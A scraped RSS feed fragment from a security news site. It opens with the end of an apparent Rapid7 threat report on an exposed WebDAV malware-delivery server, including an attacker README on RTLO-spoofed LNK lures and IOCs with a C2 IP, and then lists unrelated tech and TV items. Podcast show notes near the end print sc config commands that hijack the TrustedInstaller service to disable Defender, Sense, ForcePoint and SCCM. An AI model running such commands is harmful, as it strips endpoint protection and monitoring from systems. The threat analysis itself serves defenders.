documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s going wrong with this Kotlin code?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 1x - Views:13 Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instea...]]></description>
<link>https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</guid>
<pubDate>Mon, 20 Jul 2026 15:18:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 1x - Views:13 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AaWdVp_py4Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speakers: Anaya Mehta<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 5 MCP Servers for High-Performance Agentic Development]]></title>
<description><![CDATA[Here are five that are genuinely worth wiring into a high-performance agent development setup, chosen for what they do to an agent's actual capability rather than their star count.]]></description>
<link>https://tsecurity.de/de/3681111/ai-nachrichten/top-5-mcp-servers-for-high-performance-agentic-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681111/ai-nachrichten/top-5-mcp-servers-for-high-performance-agentic-development/</guid>
<pubDate>Mon, 20 Jul 2026 14:33:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Here are five that are genuinely worth wiring into a high-performance agent development setup, chosen for what they do to an agent's actual capability rather than their star count.]]></content:encoded>
</item>
<item>
<title><![CDATA[Freshen up Your Gaming Setup With a New Samsung Monitor for as Little as $90 With These B&H Deals]]></title>
<description><![CDATA[Plenty of options are discounted, from budget-friendly screens to high-end, premium gaming monitors.]]></description>
<link>https://tsecurity.de/de/3680889/it-nachrichten/freshen-up-your-gaming-setup-with-a-new-samsung-monitor-for-as-little-as-90-with-these-bh-deals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680889/it-nachrichten/freshen-up-your-gaming-setup-with-a-new-samsung-monitor-for-as-little-as-90-with-these-bh-deals/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Plenty of options are discounted, from budget-friendly screens to high-end, premium gaming monitors.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.


 Show Notes


 Episode Overview




Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sen...]]></description>
<link>https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</guid>
<pubDate>Mon, 20 Jul 2026 02:06:59 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>
 Show Notes</h1>

<h3>
 Episode Overview</h3>

<ul>

<li>
Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.</li>

</ul>

<h3>
 Key Topics &amp; Breakdown</h3>

<ul>

<li>

<ul>

<li>

<strong>
Egg Drop Soup Hack:</strong>
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.</li>

<li>

<strong>
Camera Setup &amp; Network Config:</strong>
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.</li>

<li>

<strong>
Python &amp; Cron Automation:</strong>
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with <code>
grep -v</code>
, and navigating massive log files in <code>
vi</code>
.</li>

<li>

<strong>
Windows Troubleshooting Tangent:</strong>
 Deleting the stubborn <code>
Windows.old</code>
 folder using the TrustedInstaller service hack (<code>
ExecTI.exe</code>
) instead of taking ownership manually.</li>

<li>

<strong>
Time Sync &amp; Firmware Quirks:</strong>
 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming <code>
.bin</code>
 to <code>
.zip</code>
, and extracting with 7-Zip.</li>

<li>

<strong>
Pre-Flash Backup Routine:</strong>
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.</li>

</ul>

</li>

</ul>

<h3>
️ Tools &amp; Techniques Mentioned</h3>

<ul>

<li>

<ul>

<li>

<code>
crontab</code>
 + Python scripts for automated monitoring</li>

<li>

<code>
grep -v</code>
, <code>
cat</code>
, <code>
tail</code>
, and <code>
vi</code>
 (line navigation with <code>
:1000</code>
)</li>

<li>
Obsidian for note-taking &amp; AI assistant integration</li>

<li>
Firefox/Playwright for headless browser testing</li>

<li>
Turbo Download Manager &amp; Bolt Media Downloader for multi-threaded/sniffing downloads</li>

<li>
7-Zip for archive extraction</li>

<li>
Google Drive for searchable config backups</li>

</ul>

</li>

</ul>

<h3>
 Resources &amp; Links</h3>

<ul>

<li>

<ul>

<li>

<strong>
Python API Script:</strong>
 <a href="https://github.com/freeload101/Python/blob/master/Uniview_API_IPC3628SR-ADF28KM-WP_get_Last.py" rel="noopener noreferrer" target="_blank">
Uniview IPC3628SR Recording Checker</a>

</li>

<li>

<strong>
Camera Model:</strong>
 <code>
IPC3628SR</code>
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)</li>

<li>

<strong>
TrustedInstaller Run-as Tool:</strong>
 <a href="https://rmccurdy.com/.scripts/downloaded/ExecTI_TrustedInstaller_Runas.zip" rel="noopener noreferrer" target="_blank">
ExecTI TrustedInstaller Runner</a>

</li>

</ul>

</li>

</ul>

<h3>
 Quick Takeaways</h3>

<ol>

<li>

<ol>

<li>
 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.</li>

<li>
 Use <code>
grep -v "noise"</code>
 to quickly filter out repetitive log entries when debugging automation scripts.</li>

<li>
 Windows system folders can be stubborn; running commands as <code>
TrustedInstaller</code>
 bypasses hidden file locks without manual ownership changes.</li>

<li>
 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.</li>

<li>
 Third-party download links often use temporary tokens or <code>
.bin</code>
 wrappers; renaming to <code>
.zip</code>
 and verifying with 7-Zip can save headaches.</li>

</ol>

</li>

</ol>

<ul>

<li>

<em>
Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.</em>
  </li>

</ul>

<p>

</p>

<p>

</p>

<p>
Example trusted installer hack</p>

<p>

</p>

<p>

</p>

<p>
# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...</p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4686/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Season 1, Episode 8 Recap: Kim Takes on One Final Mission]]></title>
<description><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korea...]]></description>
<link>https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</guid>
<pubDate>Mon, 20 Jul 2026 01:24:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korean interrogation facility. Soldiers torture him for several days, but he refuses to reveal any information.



The situation changes when one of the interrogators threatens Min-ji. Kim immediately fights back, only to discover that the entire prison setup was a test organised by South Korean officials.



Mole Cricket explains that the authorities still need Kim’s skills. They offer him and Min-ji new identities, but Kim must first complete one final mission.



Kim agrees on two conditions. Min-ji must remain safe, while Han-su and Jin-cheol must be released. The officials accept his terms, giving Kim little choice but to return to the dangerous life he tried to leave behind.



What happened before Episode 8?



In Episode 7, Kim finally reunited with Min-ji after fighting through several groups trying to capture them. He also defeated Ju Gang-chan, who had threatened his daughter and attempted to recruit him.



Min-ji stopped Kim from killing Ju and forced him to seek an apology instead. Kim later prepared a final meal for his daughter before surrendering himself to the authorities.



The episode ended with Kim waking inside the prison, making it appear that he had been secretly transported to North Korea.



Kim protects a North Korean defector



Kim’s new mission involves protecting an important North Korean official seeking asylum in South Korea. The defector carries sensitive information that could influence negotiations between the two countries.



Kim takes the man to a safe house while Sang-a prepares for the next stage of the operation. However, Ju Gang-chan begins working with North Korean officials to capture the defector before he can reveal what he knows.



Armed attackers soon raid the safe house. Kim uses a decoy plan, sending part of his team through the woods while he escapes through another route with the defector.



Kim quickly realises that the attackers knew too much about the mission. Their timing and knowledge suggest that someone inside the SMD leaked the safe house location.



Episode 8 ending explained



Kim eventually meets Han-su and Jin-cheol, bringing the three former agents together again. Their reunion lasts only a few moments before Mole Cricket arrives with SMD forces.



Mole Cricket claims that Kim failed to complete his assignment. He then announces that Kim will be sent back to North Korea.



The cliffhanger raises several questions. Mole Cricket could be involved in the information leak, or he may be following orders from someone inside the government. Kim must now uncover the traitor while protecting the defector, Min-ji and his closest allies.



Episode 8 expands the story beyond Min-ji’s kidnapping and introduces a larger conflict involving political corruption, secret deals and betrayal inside the intelligence service.



Do you think Mole Cricket betrayed Kim, or is he hiding another part of the mission? Let us know in the comments.]]></content:encoded>
</item>
<item>
